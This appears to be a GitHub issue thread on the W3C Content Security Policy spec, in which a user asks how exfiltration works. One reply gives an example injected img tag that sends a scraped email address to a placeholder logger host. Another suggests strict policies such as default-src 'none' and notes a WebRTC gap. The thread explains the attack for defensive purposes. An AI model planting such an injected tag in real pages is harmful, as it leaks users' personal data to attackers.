Queries about exfiltration?

[Blason]

Can someone provide me any examples about https://w3c.github.io/webappsec-csp/#exfiltration?
I am still not clear about how exfiltration would occur which contents of the request, such as the URL, contain information about the user or page that should be restricted and not shared.

Can someone please help?

[annevk]

This type of question is probably better suited for Stack Overflow, but think of an attacker inserting something like <img src=https://someotherdomain/logger?victim=victim.com&user=emailaddressScrapedFromThePageAndInsertedWithJS>.

[benatkin]

To prevent it you add very strict content security policies, like default-src: 'none' and it should almost work. The only exception I know of is #92 which is shipped in the spec but not in browsers: https://wpt.fyi/results/content-security-policy/webrtc?label=experimental&label=master&aligned